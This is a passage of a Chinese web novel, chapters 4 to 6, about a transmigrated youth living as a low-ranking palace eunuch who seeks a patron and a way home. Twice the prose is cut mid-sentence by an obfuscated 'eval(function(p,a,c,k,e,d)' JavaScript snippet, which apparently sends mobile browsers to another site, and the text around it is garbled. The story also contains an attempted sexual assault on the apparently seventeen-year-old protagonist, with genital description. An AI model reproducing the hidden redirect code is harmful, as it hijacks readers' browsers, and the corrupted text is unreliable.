温暖的阳光照在他苍白得近乎透明的脸上,带来久违的暖意。他眯着眼,看着院子里其他忙碌或发呆的小太监,看着高墙上方那一小片湛蓝的天空。 他深知,暂时的安全只是假象。 他必须尽快好起来,必须在这看似平常的宫廷生活中,找到属于自己的生存之道,找到能够挣脱既定命运的机会。 4. 第 4 章 身体的好转,在掖庭这种地方,意味着清闲日子的结束。 关禧能扶着墙慢慢走动后的第三天,那个负责日常管束他们的刘太监就皮笑肉不笑地找了过来。 “小离子,能下地了?挺好,王公公那儿还记挂着你呢。”刘太监用他那双三角眼上下打量着关禧,目光在他轮廓越发清晰的脸蛋上转了几圈,“既然死不了,就别躺着吃白食了。明儿个一早,跟着杂役队出去干活。” 关禧低眉顺眼地应了声:“是,刘公公。不知小的被分派到何处?” 刘太监哼了一声,对他的识趣还算满意:“算你运气,没让你去刷马桶倒夜香。内务府那边要整理一批旧年的卷宗,缺几个手脚麻利……咳,至少眼睛好使的,去库房搬搬抬抬,顺便清扫一下。那地方,清净。” 库房?整理卷宗? 关禧微微一怔。这听起来,似乎比去各宫苑直面主子们要安全得多。至少,远离了那个侍寝风险最高的中心——皇帝和他的妃嫔们。 “多谢刘公公安排。”他再次低头,掩去眼中一闪而过的思量。 第二天天还没亮,关禧就被同屋的动静吵醒。他挣扎着起身,换上了一套还算干净的灰色太监服,将头发勉强束好。镜子是没有的,只有水缸里模糊的倒影,映出一张瘦削苍白的脸。 跟着另外几个同样被指派的小太监,他低着头,沉默地走在清晨宫廷清冷的长街上。高大的宫墙投下沉重的阴影,隔绝了天空,也隔绝了自由。 领路的太监将他们带到了一处位于皇宫偏僻角落的院落前。院门上的漆皮有些剥落,匾额写着“典籍司”三个大字,透着一股陈年旧纸和灰尘混合的气息。 “就是这儿了。进去找里头的管事赵公公,听他吩咐。午时自有人送饭食过来,日落前完工回净舍,不得延误!”领路太监交代完,便转身离开了。 推开沉重的木门,一股更浓郁带着霉味的陈旧气息扑面而来。院子里堆着一些蒙尘的杂物,正对着的是一排高大的库房。 一个穿着半旧宦官服,头发花白的老太监正坐在廊下的小凳上,就着天光,慢悠悠地擦拭着一本泛黄的书册。他听到动静,抬起头,露出一张布满皱纹但眼神却异常清亮平和的脸。 “是新来的小子们?”老太监的声音有些沙哑,“咱家姓赵,管着这典籍司的库藏。你们今天的活儿,就是把甲字库靠东边那几个架子上的卷宗搬出来,拂去灰尘,按年份重新码放整齐。手脚轻些,这些都是些陈年旧账、过往文书,虽不值钱,却是宫里的记录,损毁了也是罪过。” “是,赵公公。”几个小太监齐声应道,显然对这份沉闷的工作没什么兴致。 关禧却心中微微一动。陈年旧账?过往文书? 这地方,看似冷清偏僻,远离权力中心,但这些堆积如山的卷宗里,会不会藏着一些有用的信息?关于这个晟朝皇宫的秘辛,规矩,甚至是……某些不为人知的出路? 他低下头,跟着其他人走进甲字库。 库房内光线昏暗,只有高处的几个小窗透进几缕天光,照亮了空气中飞舞的尘埃。一排排高大的木架直抵房梁,上面堆满了各种卷轴,册页,有些显然多年未曾动过,积了厚厚一层灰。 活儿不轻松。卷宗沉重,搬动起来对于伤势未愈的关禧来说尤为吃力。他咬着牙,尽量用双臂和腰腹的力量,避免牵扯到下身的伤口。动作慢了,难免招来同行小太监几句不耐烦的嘀咕和白眼。 但他并不在意。他的目光,更多地流连在那些卷宗的封皮上。 《内务府·嘉佑三年用度记录》,《掖庭局·宫人名册(永昌期)》,《司礼监·往来文书抄录》…… 这些枯燥的名称背后,是这座皇宫运行的脉络和历史。 休息的间隙,其他小太监都凑到院子角落里偷懒打盹,关禧借口透气,慢慢踱到廊下,靠近那位一直安静看书的赵公公。 赵公公察觉到了他的靠近,从书页上抬起眼,温和地看了他一眼:“伤还没好利索?看你搬东西的样子,咬着牙在硬撑。” 关禧没料到这位老太监观察如此细致,他不敢隐瞒,低声道:“回公公的话,是还有些不便,但不敢耽误差事。” 赵公公笑了笑,合上书册,封皮上是《舆地纪胜》四个字,“无妨,这地方,别的没有,就是时间多。慢慢来,别再把身子弄垮了。”他顿了顿,看着关禧,“你似乎对这些旧纸堆挺感兴趣?” 关禧斟酌着词句:“小的只是好奇,这宫里以前是什么样子。” “以前啊……”赵公公目光投向远处,带着些许追忆,“宫墙还是这宫墙,人换了一茬又一茬罢了。不过,这些故纸堆里,确实埋着不少故事。有人的起落,有事的兴衰。看得多了,也就透了。” 关禧鼓起勇气,试探着问:“公公,那您……看过那么多记录,有没有人……是能离开这宫墙,换一种活法的?” 问出这句话,他的心悬到了嗓子眼。这是他目前最关心的问题。 赵公公闻言,重新将目光落在他脸上,沉默了片刻,才缓缓道:“宫规森严,内侍终身服役,除非……主子特赦,或年迈体衰被恩准出宫荣养。再者……”他声音压低了些,“便是犯了重罪,被逐出宫去,那下场,往往比老死宫中更惨。” 关禧的心沉了下去。 赵公公看着他瞬间黯淡下去的眼神,轻轻叹了口气:“孩子,既然进了这里,有些念头,该断就得断。活着,比什么都强。在这典籍司,虽清苦,倒也安稳。至少,不必日日提心吊胆,担心一步行差踏错,就万劫不复。” 他的话像一盆冷水,浇灭了关禧刚刚燃起的一丝希望之火,但不知为何,看着赵公公那平洞悉世事的眼神,他心中那份焦灼,被抚平了一丝。 至少,这里暂时是安全的。 他需要时间,需要了解更多。而这些看似无用的故纸堆,或许就是他了解这个世界的钥匙。 “多谢公公指点。”关禧深深吸了一口带着霉味的空气,恭敬地说道。 赵公公摆了摆手,不再多言,重新翻开那本《舆地纪胜》,沉浸其中。 关禧转身,重新走向那灰尘弥漫的库房。 典籍司,这个被遗忘的角落,或许就是他在深宫中挣扎求生的第一个立足点。他要在这里养好伤,摸清规则,然后,等待那不知是否会出现的,挣脱牢笼的契机。 日子,就在这翻动故纸堆的沙沙声中,一天天过去。 关禧的身体在典籍司相对清净的环境和规律的饮食下,慢慢好了起来。下身那狰狞的伤口结痂脱落,留下了粉色的新肉,虽然偶尔剧烈活动时还会有些许不适,但已无大碍。苍白的脸颊也因每日的行走和劳作,恢复了些许血色,衬得那双本就出色的眉眼越发清晰。 更重要的是,他的头脑在这段时间得到了充分的滋养。除了每日必要的体力劳动,他将所有空闲时间都泡在了那些故纸堆里。结合小离子残存的,关于宫廷表层规矩的记忆,以及赵公公偶尔的只言片语和卷宗中透露出的庞杂信息,他对这个名为“晟”的朝代,对这座吃人的皇宫,有了更深入,更立体的认知。 等级森严,尊卑分明。太监宫女如同草芥,主子的喜怒决定生死。各种势力盘根错节,前朝后宫牵连不断。想要安稳活下去,要么彻底泯然众人,要么就得依附强者,或者自己成为强者。 同时,一个念头在他心底疯长——回去,回到现代去。 他是魂穿,那具十七岁可能因为心脏问题而濒临死亡的身体还在医院呢,父母怎么办?他的人生怎么办?难道真要在这个鬼地方,顶着一个太监的身份,战战兢兢地过一辈子,甚至可能要去给一个男人侍寝? 每当想到这个,他就一阵恶寒。 可是,怎么回去?穿越的原因不明,方法更无从谈起。他翻阅典籍司那些杂书,甚至偷偷找过一些志怪野史,玄异传说,希望能找到类似借尸还魂或时空逆转的线索,但大多荒诞不经,毫无头绪。 这成了他心底最深沉的焦虑和动力。 这天,他结束了典籍司的工作,将最后一册整理好的卷宗归位,拍了拍身上的灰尘,向廊下看书的赵公公行了一礼,默默退了出来。 夕阳的余晖给冰冷的宫墙镀上了一层暖金色,他沿着熟悉的宫道往净舍走,心情有些沉重——对归途的迷茫,像一块巨石压在心头。 “离子哥!” 一个略带惊喜的声音从身后传来。关禧回头,看到石头小跑着追了上来。几个月过去,石头似乎也长开了些,眼神里多了几分在宫中历练出的机灵,少了些最初的怯懦。 “石头,今天回来得挺早。”关禧放缓脚步,等他跟上。 “嗯,今天活少,管事公公心情也好,就放我们早回了。”石头凑近些,压低声音,“离子哥,你知道吗?我听说御花园那边的牡丹开得可好了,几位娘娘最近常去赏玩呢。” 关禧对此兴趣缺缺,只是淡淡地“嗯”了一声。 石头习惯了他的沉默,自顾自地说着听来的八卦。两人并肩走在相对僻静的宫道上,眼看再穿过前面那个连接东西六宫的月华门,就能回到他们居住的掖庭范围。 就在他们刚靠近月华门时,一阵略显尖锐的女声从前方的岔路口传来,打破了黄昏的宁静。 “姐姐这话说的,莫非是觉得陛下赏给我的这匹云锦,不合规矩不成?”一个穿着鹅黄色宫装,容貌娇艳的女子扬着下巴,语气带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892375|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显的不悦。 正是石头之前提过的,他远远见过的徐昭容,徐宛白。 与徐宛白对面而立的,是一位身着水蓝色衣裙,气质更为温婉沉静的女子,是承华宫的冯媛,冯昭仪。 “妹妹误会了。云锦是贡品,陛下赏赐,自然是妹妹的福气。只是内务府记录,这批云锦按例该是先送入皇后娘娘宫中挑选,妹妹这般直接领了,怕是于礼不合,也容易惹人闲话。” 徐宛白显然不吃这一套,柳眉一竖:“皇后娘娘仁厚,岂会在意这些小节?姐姐管着宫务,未免也管得太宽了些!莫非是见陛下近日多召见了我几次,姐姐心中不快了?” 这话已是相当不客气,带着直白的挑衅。周围随侍的宫女太监们个个屏息垂首,不敢发出一点声音。 冯媛脸色微沉,“妹妹慎言!宫规礼法,非是针对一人一事。本宫既协理六宫,便有规劝之责。妹妹若觉得本宫多事,大可去皇后娘娘面前分说。” “你!”徐宛白被噎了一下,脸上红一阵白一阵。 关禧和石头恰好走到月华门附近,不可避免地撞见了这一幕。两人立刻停下脚步,躬身退到宫道一侧,深深低下头,恨不得把自己缩进墙缝里。这种后宫嫔妃之间的争斗,是他们这些最低等太监最怕碰到的,稍有牵连,就是灭顶之灾。 关禧心中暗叫倒霉。他只想安稳度日,寻找回去的方法,一点也不想卷入这些是非。 然而,怕什么来什么。 徐宛白正在气头上,一眼瞥见路边两个灰扑扑的小太监,尤其是关禧那张即使低着头也难掩精致的侧脸,顿时像是找到了发泄口。 “哪来的不懂规矩的奴才!见到本宫和冯昭仪在此,竟敢偷听?!”徐宛白迁怒地喝道,目光如刀子般刮过关禧和石头。 石头吓得浑身一抖,腿都软了,噗通一声就跪了下去,连连磕头:“奴才不敢!奴才不敢!昭容娘娘恕罪!” 关禧也只能跟着跪下,伏低身体,用刻意压低,显得惶恐的声音道:“奴才刚做完差事回净舍,无意冲撞两位娘娘,请娘娘恕罪!”他心中警铃大作,知道在这种时候,任何一点特殊都可能引来灾祸。 冯媛皱了皱眉,似乎觉得徐宛白有些小题大做,但并未出声。 徐宛白却不依不饶,走到关禧面前,用脚尖踢了踢他的肩膀,力道不重,侮辱性却极强:“抬起头来!” 关禧心脏一缩,依言缓缓抬头,但眼睛依旧看着地面,不敢与徐宛白对视。 当徐宛白看清关禧的脸时,眼中闪过一丝明显的惊讶和嫉妒。她本就对自己的容貌极为自负,此刻见到一个太监竟生得如此俊俏,甚至带着几分她不愿承认的,超越性别的昳丽,那股无名火更是烧得旺盛。 “哼,王公公现在倒是会挑人,净选些狐媚子一样的货色。”徐宛白语带讥讽,意有所指,“怎么,想着凭这张脸往上爬吗?” 这话恶毒至极,不仅侮辱了关禧,隐隐还影射了某些关于皇帝喜好的传闻。 冯媛的眉头皱得更紧了,出声打断:“妹妹,与两个小太监置气,失了身份。” 关禧伏在地上,指甲深深掐进掌心,屈辱和愤怒在胸中翻涌,但理智告诉他,此刻绝不能反驳,甚至不能流露出任何不满。他只能将头埋得更低,声音颤抖着重复:“奴才不敢,娘娘明鉴。” 徐宛白见冯媛开口,又见关禧一副逆来顺受的惶恐模样,觉得无趣,冷哼一声:“滚吧!别在这里碍眼!” “谢娘娘恩典!”关禧和石头如蒙大赦,连忙磕头,然后几乎是手脚并用地从地上爬起来,低着头,弓着腰,快步穿过月华门,直到走出很远,才敢稍稍直起身子。 石头拍着胸口,后怕不已:“吓、吓死我了……徐昭容今天火气怎么这么大……” 关禧没有说话,他回头望了一眼那森严的宫门,眼神冰冷。 这次意外的冲突,像一盆冷水,彻底浇醒了他。 在这个地方,即使他只想低调苟活,麻烦也会自动找上门。他的容貌,在这后宫之中,本身就是一种原罪。今天只是被辱骂几句,已是万幸。若下次…… 冯媛看似讲理,但那份平和下藏着的是协理六宫的权力和深不见底的心机。徐宛白骄纵跋扈,情绪外露,更容易对付,但也更可能因一时喜怒就随意处置他们。 依附?自保?远远不够。 典籍司的清净只是暂时的,净舍更是危机四伏。王公公那边,等他身体彻底养好,那张好相貌的标签,随时可能再次将他推向风口浪尖。 必须尽快行动起来了。 要么,找到回去的方法。 要么,就在这吃人的深渊里,抓住一切可能,攀住一根足够高的枝桠。 5. 第 5 章 回到阴暗潮湿的净舍,同屋的小太监们大多已歇下,鼾声四起。 石头依旧心有余悸,凑过来小声道:“离子哥,今天真是吓死人了,以后咱们还是绕着那些主子走吧……” 关禧没接话,默默打水,仔细清洗着脸和手脚。冰冷的水刺激着皮肤,让他混乱的思绪逐渐冷静下来。他需要分析,需要计划。 目标:寻找一个可靠的,有一定权势的大腿依附,以获得庇护,摆脱随时可能被送去侍寝的命运,并为自己争取调查回归方法的时间和空间。 自身筹码分析: 容貌:优势也是最大的劣势。可以利用,但必须极其谨慎,绝不能引起主子的兴趣,尤其是那种性质的兴趣。需设法将关注点从美色转移到其他价值上。 学识:来自现代的思维方式和知识储备,尤其是数学,逻辑,可能还有超越时代的见识。这是他独一无二的优势,但如何展现?展现给谁?需要契机。 目前处境:在典籍司当差,能接触到大量陈旧卷宗和信息。这是一个信息优势,或许能从中找到某些主子的喜好,需求,或是宫廷中的势力分布漏洞。 身份:最低等太监,毫无根基。这是最大的劣势,意味着他承受风险的能力极低,一步踏错,万劫不复。 潜在依附对象分析:高阶妃嫔,如皇后,四妃:权势大,庇护力强。但后宫争斗激烈,容易成为棋子或炮灰。且妃嫔身边多是宫女和心腹太监,难以接近,更难获得信任。 有权势的大太监如司礼监掌印,秉笔太监,内务府总管:同属宦官体系,理论上更容易接触和投靠。但大太监身边更是虎狼环伺,竞争残酷,需要展现出非凡的价值或甘当爪牙。 看似不得势但可能有潜力的主子或高级宦官:风险高,但一旦投资成功,回报可能也高。需要极强的眼光和运气。 像赵公公这样的边缘老人:安全,但提供不了他所需的庇护,只能提供有限的安稳。 权衡再三,关禧觉得,直接投向妃嫔风险过高,尤其是他这张脸,在妃嫔眼中恐怕首先是威胁。而投向权势滔天的大太监,他目前连门都摸不着。 或许……可以从王公公这里入手?王公公是内务府派来的掌事,直接管理他们这批记名内侍,本身有一定权力,而且显然对他有所图谋。如果能巧妙地利用这一点,暂时稳住他,甚至从他那里获得一些信息和机会,比如调离净舍,安排到某个相对安全又能接触更多信息的地方…… 但这无异于与虎谋皮。王公公绝非善类,他的欣赏带着明确的利用目的。 “必须让他觉得,我活着,并且在一定程度上的好,比把我当成一次性消耗品献上去,对他更有利。”关禧躺在冰冷的铺位上,盯着黑暗的屋顶,大脑飞速运转。 如何增加自己的价值? 除了容貌,他还能提供什么? 典籍司……信息…… 一个念头渐渐成型。 接下来的几天,关禧在典籍司干活更加卖力,同时也更加留意。他不仅整理卷宗,还会在赵公公允许的范围内,快速浏览一些非核心的记录,尤其是关于内务府人员调配,各宫苑用度惯例,甚至是一些陈年旧案的处理记录。 他发现,内务府的账目虽然繁琐,但并非无迹可寻,某些地方甚至存在明显的粗疏或不合逻辑之处。而他来自现代,受过基础会计和逻辑训练的眼睛,很容易就能看出这些问题。 同时,他也格外留意王公公的动向。通过旁敲侧击地从其他小太监和赵公公那里打听,他了解到王公公有贪财,好面子,以及偶尔会私下倒腾一些宫外稀罕物件的癖好。 机会来得比他预想的快。 这天下午,王公公竟然亲自来到了典籍司。他显然是来找赵公公的,两人在廊下低声交谈着什么。关禧隐约听到“账目”,“核对”,“往年旧例”等词语。 赵公公似乎有些为难,翻找着几本册子,眉头紧锁:“王老弟,不是我不帮你,这几年的记录堆在一起,一时半会儿,怕是理不清头绪……” 王公公脸上带着惯常的笑容,但眼神里有一丝不易察觉的焦躁:“赵老哥,您再仔细找找,这事儿……上头催得急。” 关禧心中一动。他默默放下手中的活计,走到库房门口,对着王公公和赵公公的方向,恭敬地行了一礼,声音不大不小,恰好能让两人听见:“王公公,赵公公。” 王公公被打断,有些不悦地瞥了他一眼,但看到他气色比之前好了不少,那张脸在昏暗光线下更显俊俏,脸色稍霁:“嗯?小离子,有事?” 关禧垂着眼,语气恭顺:“小的方才在整理乙字库靠门架上的卷宗时,似乎看到过嘉佑十二年内务府采买木炭的明细记录与核销单据,还有永昌初年宫中各处分例调整的底档……不知是否与两位公公所言之事有关?” 赵公公愣了一下,讶异地看向关禧:“乙字库?那些都是更早的杂项记录了,你怎么……” 王公公眼中却精光一闪,立刻追问:“你确定?嘉佑十二年的木炭采买记录?具体在哪个位置?” 关禧抬起头,目光清澈,带着恰到好处的回忆神色:“回公公,应该是在乙字库进门右手边第三排架子,中层,用蓝色布套包裹的那一摞。永昌初年的底档则在旁边第四排,下层,是几本灰皮册子。” 他之所以记得这么清楚,是因为前几天刚整理过那片区域,并且出于习惯,对数字和分类格外敏感。 王公公立刻对身边跟着的小太监使了个眼色。那小太监快步走进乙字库,不一会儿,果然拿着关禧所说的蓝色布套和几本灰皮册子出来了。 赵公公接过翻看片刻,脸上露出恍然之色:“没错!就是这些!王老弟,你看……” 王公公凑过去看了看,紧绷的脸色顿时舒缓开来,再看向关禧时,眼神已经完全不同了,那不再是看待一件漂亮玩物的眼神。 “小离子,你……记性倒是不错。”王公公意味深长地说。 关禧谦卑地低下头:“小的只是手脚笨拙,怕误了事,所以干活时多用了些心,不敢当公公夸奖。” “多用了几分心……”王公公重复了一遍,脸上露出一丝真正的笑容,他转向赵公公,“赵老哥,你这儿倒是出了个伶俐人儿。” 赵公公呵呵一笑,看了关禧一眼,没多说什么。 王公公有要事在身,拿着找到的册子很快离开了。但他临走前,特意看了关禧一眼,那眼神分明在说:我记住你了。 关禧投出的第一颗石子,似乎激起了些许涟漪。 几天后,刘太监来找关禧,通知他不必再去典籍司了。 “王公公给你安排了新差事,”刘太监的语气带着点不易察觉的酸意,“去司礼监外院的文书房,帮着做些抄录,整理的活计。小子,走了运道,可要仔细着点!” 司礼监外院文书房。 那里虽然还不是权力核心,但已经是能够接触到机要文书往来抄录的地方了,比典籍司那种存放过期档案的地方,离宫廷的中枢权力近了一大步。 这无疑是王公公对他那次表现的回应。他看到了他除了容貌之外的另一种价值——细心,记性好,对文书档案敏感。这种价值,对于在宫廷中经营势力的太监来说,同样有用。 这是一个机会,一个更接近权力,也能获取更多信息的机会。但风险也同样巨大,司礼监龙蛇混杂,一步行差踏错,后果不堪设想。 关禧深吸一口气,压下心中的激动与不安。 抱大腿的第一步,似乎迈出去了。虽然这大腿本身也充满了不确定性,但至少,他不再是完全被动地随波逐流。 随着新差事的任命下来,搬离净舍也成了顺理成章的事情。 司礼监外院文书房虽不算核心要地,却也比掖庭最北边的净舍强上太多。那里当差的太监,即便是最低等的,也有相对固定的居所,通常是几人合住一间,不再是净舍那种十几人挤大通铺,空气污浊,毫无隐私可言的环境。 来通知他并帮他搬家的,是刘太监。他脸上那点酸意已经收敛了起来,换上了几分若有若无的客气,毕竟关禧现在算是被王公公另眼相看的人,哪怕只是暂时的,微不足道的,也值得他稍微调整一 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关禧沉默了一下。他知道自己前途未卜,司礼监那种地方更是步步惊心,他无法给石头任何承诺,甚至可能自身难保。但看着石头那依赖的眼神,他终究还是心软了。 “不会的。”他压低声音,用只有两人能听到的音量说,“都在宫里,总有碰见的时候。你……自己好好的,机灵点,别惹事,但也别太吃亏。”他顿了顿,补充了一句,“如果……如果有什么急事,可以试着来文书房附近找我,但千万别让人看见,明白吗?” 这几乎是他能给出的最大限度的保证了,一个充满风险的联络渠道。 石头却像是抓住了救命稻草,连忙点头,眼泪终于掉了下来,又赶紧用袖子擦掉:“我明白!离子哥,你也要好好的……我会想办法偷偷去看你的!” 刘太监在外面等得不耐烦了,咳嗽了一声。 关禧不再多言,最后看了石头一眼,将那小小的铺盖卷背在肩上,走出了这间承载了原主死亡和他艰难重生记忆的阴暗房间。 踏出净舍门槛的瞬间,他并没有感到多少轻松,反而觉得肩上的无形担子更重了。离开底层,意味着接触更深的水域,那里的暗流只会更加汹涌。 文书房分配的直房在司礼监外围的一处小院里,比起净舍,这里确实清净了许多。一间屋子住四人,都是木板床,各有简单的储物箱笼,干净整齐,空气也流通不少。 同屋的三人都是文书房的低等太监,负责抄写,跑腿等杂务。见到关禧进来,几人只是抬了抬眼,打量了他一番,眼神里有审视,有好奇,但也仅止于此,并没有表现出明显的热情或排斥。 在这里,大家都遵循着一种默认的规则——保持距离,做好分内事,不多言,不多事。 关禧乐得如此。他默默选了个靠墙的空铺位,将自己的铺盖放下。动作间,下身曾经重伤的部位传来一丝轻微的牵拉感,提醒着他这具身体曾经的创伤和现在的身份。 安顿好后,他坐在硬邦邦的床板上,环顾这间小小的屋子。这里将是他在深宫中新的起点,也是他谋划下一步行动的据点。 王公公将他调来这里,是看中了他在文书处理上的潜力,可这潜力需要迅速转化为实实在在的价值,他才能在这新的环境中站稳脚跟,才能让王公公觉得投资有所回报,从而暂时保障他的安全。 司礼监文书房,这里流通着大量的公文,奏折抄本,往来文书。核心机密接触不到,仅仅是这些表面的信息,其蕴含的价值也远超典籍司那些故纸堆。 他需要尽快熟悉这里的规矩,流程,摸清人际关系,然后,像在典籍司那样,找到能够展现自己独特价值的机会。 同时,那个终极目标——寻找回归现代的方法,也绝不能放弃。或许,在这里接触到的更前沿,更隐秘的信息中,会有一丝线索? 关禧深吸一口气,感受着新环境中那多了几分文书墨香的空气。 前路依旧迷茫,危机四伏。 但至少,他不再是那个躺在停尸房里等死,或者蜷缩在净舍角落绝望的小太监。 6. 第 6 章 司礼监外院文书房的差事,比起典籍司的灰尘仆仆和净舍的无所事事,显得规整而刻板。 每日天不亮,宫中的更鼓声便是起床的号令。 关禧随着同屋的三人一同起身,洗漱,整理床铺。宫中规矩大,即便是最低等的太监,仪容也必须整洁,头发要梳得一丝不乱,衣服要拍打干净,不能有碍观瞻。 同屋的三人,年纪都比关禧稍大些。一个叫李福,面皮微黑,做事一板一眼,是屋里的老人,也是文书房一个小管事的副手,平日里话不多。一个叫张旺,身材瘦小,眼神灵活,显得有些油滑,喜欢打听消息,也爱占点小便宜。还有一个叫孙河,性子有些沉闷,总是低着头,像是有什么心事。 关禧初来乍到,谨言慎行,对谁都客客气气,称呼一声“李哥”,“张哥”,“孙哥”。那三人见他态度恭顺,模样虽好却并不张扬,暂时也相安无事。 早饭是在直房的小院里吃的。 由膳房统一送来,几个大木桶,一桶是能照见人影的稀粥,一桶是杂面窝头,还有一小盆不见油星的咸菜。 众人排队领取,各自蹲在屋檐下或回屋里吃。关禧捧着粗陶碗,小口喝着寡淡的粥,啃着拉嗓子的窝头,心里在盘算着。这点食物只能勉强果腹,想要身体尽快恢复并保持精力,远远不够。他必须想办法弄到更多,更好的食物,或者……银钱。 饭后,便是一天的正式工作。文书房的活计主要是抄录,整理,归档各类往来文书。关禧被分派的任务是誊写一些不太重要的奏折副本和往来函件。要求字迹工整,不得有错漏。这对于关禧来说并不难,他甚至能刻意模仿几种不同的工整字体,避免字迹过于有特色而引人注意。 工作环境相对安静,只有毛笔划过纸张的沙沙声,和偶尔的低语。李福有时会分配任务,检查进度。张旺则常常借着倒水,如厕的机会,在屋子里溜达一圈,看看别人在写什么,或者凑到相熟的人耳边嘀咕几句。孙河则永远是埋首案牍,仿佛外界与他无关。 关禧一边机械地抄写,一边不动声色地记忆着文书的内容。虽然多是些例行公事,但从中也能窥见朝堂动向,边疆军情,各地灾异等等。这些信息碎片,被他默默记在心里,试图拼凑出这个时代更完整的图景。 午饭依旧简单,和早饭相差无几,只是粥稠了些,偶尔能多半个窝头。饭后有短暂的休息时间,众人或趴着小憩,或低声闲聊。 而一天之中,对关禧而言,最难熬的莫过于解手。 宫中对太监的管理极为严格,如厕有固定的时间和地点。文书房附近就有一处专供低等内侍使用的净房,条件比净舍的恭桶稍好。 这天下午,关禧感到小腹坠胀,便起身往净房去,同屋的张旺正好也一同前往。 净房内是简单的蹲坑,用矮墙隔开。 关禧走到最里面一个位置,习惯性地解带,站立。 他可以站着。 这是小离子这具身体,在经历了所谓的宫刑后,残存的生理结构所决定的。王公公挑中他们这些好相貌的,进行的是另一种手术,只去其丸,保其形。据说是为了迎合皇帝某种难以言说的癖好,既要貌美少年之姿,又要保留部分男子的象征,以满足其特殊的观感乃至……使用需求。 而那些容貌普通的太监,则多是全净,即一刀切得干净利落,彻底绝了念想,也少了些是非。 水流声在寂静的净房里显得有些清晰。 旁边的张旺正蹲着,闻声下意识地侧头瞥了一眼,当他看到关禧竟然是站着解手时,眼神瞬间一变,那里面混杂了嫉妒和怨愤。 关禧立刻察觉到了那道目光,动作都僵硬了半分,他飞快地解决完,系好裤带,低着头,假装无事发生,快步走了出去。 身后,传来张旺极低的一声冷哼,带着说不清的酸意。 回到直房,气氛有了一丝微妙的变化。张旺看关禧的眼神,不再仅仅是之前的审视和好奇,多了些阴郁。 关禧心里明白,这半割与全割的区别,在这深宫里,又是一道无形的鸿沟。像他这样的,因为一张脸得了这特殊待遇,在某些方面似乎保留了多一点点的尊严,但也因此更容易招致同类的嫉恨,被视为靠着皮相走捷径的异类,甚至是被上面当作玩物的预备役。 这种区别,就像一根刺,扎在那些被全净的太监心里。他们失去了所有,而这些半割的,还残存着一点象征,哪怕这点象征同样带着屈辱的印记,也成了他们嫉妒的对象。 凭什么?就凭一张脸? 关禧感到一阵无力。他厌恶这具身体,厌恶这残存的,提醒他屈辱现状的象征,还要因为这残存承受来自同类的恶意。 晚饭还是稀粥窝头。关禧默默地吃着,味同嚼蜡。 夜幕降临,宫中下钥,各宫各处也渐渐安静下来。文书房不需要值夜,众人便回到了直房。点起一盏昏暗的油灯,各自活动。李福拿出个小账本,在算着什么。张旺凑到孙河边,低声说着什么,眼神不时瞟向关禧。孙河只是摇头,并不搭话。 关禧无事可做,也不想参与他们的闲聊,便坐在自己的铺位上,闭目养神,脑子里在反复推演着可能遇到的各种情况,以及应对之法。他必须更小心,不仅要提防上面的主子,还要提防身边的同类。 在这压抑的寂静中,他越发想念现代的一切。想念家里温暖的灯光,母亲做的饭菜,父亲关切的询问,还有那堆永远做不完的试卷…… 回去的念头,就像黑暗中唯一的光,支撑着他在这宫廷里,继续挣扎下去。 * 夜深了,直房里此起彼伏的呼吸声渐渐平稳。 油灯早已熄灭,只有清冷的月光透过窗棂,在地上投下模糊的光斑。 关禧睡得很沉。白日的谨小慎微,精神紧细,加上身体尚未完全恢复的虚弱,让他一旦入睡,就像是坠入了无底的深潭,很难轻易醒来。他梦到了现代的家,梦到了温暖的被窝和母亲轻柔的呼唤,以至于身上传来的异常触感,最初只被他当成了梦境里的干扰。 直到……那只手,带着湿冷的汗意和不容忽视的力道。隔着单薄的寝衣,在他腰侧流连,然后缓缓向下,覆上了他那残存,也是他最不愿触碰和想起的部位。 关禧猛地惊醒。 黑暗中,一个沉重的身躯压在他身上,带着劣质皂角的气息。他能感觉到对方急促的呼吸喷在自己的领侧,那只手正在笨拙又急切地揉捏着。 “谁?!滚开!”他几乎是嘶吼出声,声音因惊怒而变调,屈膝,用尽全身力气向上顶去。 “呃!”身上的人发出一声闷哼,显然没料到他会醒得这么快,反抗如此激烈,被顶得向后退了退,但一只手仍死死抓着他的胳膊。 借着微弱的月光,关禧看清了压在他身上的人——是张旺,那个眼神油滑,喜欢打听,下午在净房里用嫉妒眼神瞥他的张旺。 此刻,张旺那张瘦削的脸上满是扭曲的欲望和一丝被反抗激起的恼羞成怒,他的眼睛在黑暗中闪着光,死死盯着关禧因为挣扎而微微散开的领口,那里露出的锁骨和一片白皙的皮肤在月光下泛着莹润的光泽。 “小离子,别给脸不要脸!”张旺喘着粗气,声音沙哑难听,“长着这么一张狐媚子脸,下面又没干净……不就是等着让人玩的吗?王公公能看上你,老子摸摸怎么了?!” “我操你大爷!摸你爹去!给老子滚!”关禧破口大骂,完全顾不上什么古代礼仪,太监身份,属于关禧十七年养成的话语体系在这一刻爆发。 他一边骂。 一边手脚并用,疯狂地踢打挣扎,指甲狠狠抓向张旺的脸颊。 张旺吃痛,“嘶”地一声,脸上火辣辣的,显然被划破了皮。他没想到这个平日里看起来沉默寡言,甚至有些柔弱的小离子,反抗起来竟像只发疯的野猫,力气还不小。尤其是那双眼睛,在黑暗中燃烧着怒火,没有半分怯懦,只有恨不得撕碎他的凶狠。 挣扎间,关禧的寝衣被扯得更开,长期的营养不良使得他瘦削,但少年的骨架在那里,肩线已然有了几分宽度,腰身紧窄,皮肤因为久不见光且底子好,在暗夜里白得晃眼。而那被张旺觊觎的部位,尺寸在同等年纪的少年中,也算得上可观,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 